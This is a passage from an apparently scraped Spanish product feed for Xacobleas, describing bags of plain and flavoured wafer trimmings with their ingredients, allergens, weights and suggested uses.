Utilidades
Listos para comer, un snack saludable para comer como si fueran palomitas.
Sabor
Formatos
dulce
Más gorditos y crujientes en bolsa con cierre zip, y círculos de oblea para postres
The post Recortes de oblea de colores appeared first on Xacobleas .
]]>
-
Recortes de oblea gorditos de sabores
https://xacobleas.es/producto/recortes-de-oblea-gorditos-de-sabores/
Sat, 19 Aug 2023 12:49:39 +0000
https://xaco.tveodigital.net/?post_type=product&p=1171
Son los recortes de oblea que nos quedan después de troquelar nuestras Xacobleas, gorditos y crujientes, los tenemos clásicos sólo con harina de trigo, pero también con canela & jengibre, con cacao, de coco o de café.
The post Recortes de oblea gorditos de sabores appeared first on Xacobleas .
]]>
Están embolsados en una práctica bolsa hermética con cierre zip.
Un picoteo de lo más saludable que engancha a pequeños y mayores.
Cada bolsa contiene entre 100 y 120g de recortes, pide cantidad porque en cuanto abres la bolsa es difícil parar!
Peso
0.100 kg
Dimensiones
9 × 2 × 8 cm
Ingredientes
Agua, harina de trigo, steviol y eritritol (Stevia en formato líquido), cacao puro, lúcuma, canela, jengibre, coco rayado, café descafeinad o , espirulina.
Alérgenos
Contiene gluten. Sin azúcar. Sin lactosa. Sin huevo. Sin leche. Sin aceite. Sin conservantes. Sin colorantes.
Aptas para diabéticos, dietas veganas y vegetarianas.
Descripción Técnica
Bolsa transparente con cierre zip. Etiqueta adhesiva con información nutricional. Peso de la bolsa 100g. Contiene 40 unidades.
Cada oblea mide 8cm de alto, 9,5 cm de ancho y 1 mm de grosor.
Sabor a escoger.
Utilidades
– Para comer:
Sólas a modo de snack saludable.
Acompañadas de helados, dulce de leche, crema de chocolate, mermelada o frutas de temporada…
Puedes elaborar almendrados, cocadas, turrones, milhojas, chocolatinas, o utilizarlas con canapés salados, no te pierdas nuestra sección de recetas.
Sabor
Clásica, Café , Cacao, Coco, Canela & Jengibre
The post Recortes de oblea gorditos de sabores appeared first on Xacobleas .
]]>
-
Recortes de oblea finitos
https://xacobleas.es/producto/recortes-de-oblea-finitos/
Sat, 19 Aug 2023 12:45:58 +0000
https://xaco.tveodigital.net/?post_type=product&p=1170
Los recortes de oblea de siempre, recordarás esos recortes de convento que tanta ilusión hacían.
Los de toda la vida.
En las ciudades donde había convento ¿quién no ha probado de pequeño los recortes de oblea?
Aquí tenemos los clásicos recortes de oblea de trigo, embolsados en una práctica bolsa hermética con cierre zip.
Un picoteo de lo más saludable que engancha a pequeños y mayores.
The post Recortes de oblea finitos appeared first on Xacobleas .
]]>
Cada bolsa contiene entre 100 y 120g de recortes, pide cantidad porque en cuanto abres la bolsa es difícil parar!
Información adicional
Peso
0.120 kg
Dimensiones
25 × 18 × 6 cm
Ingredientes
Harina de trigo y agua
Alérgenos
Contiene gluten.
Utilidades
Listos para comer, un snack saludable para comer como si fueran palomitas.
Sabor
Formatos
Clásica , finita como la de las monjas
Más gorditos y crujientes en bolsa con cierre zip, y círculos de oblea para postres
The post Recortes de oblea finitos appeared first on Xacobleas .
]]>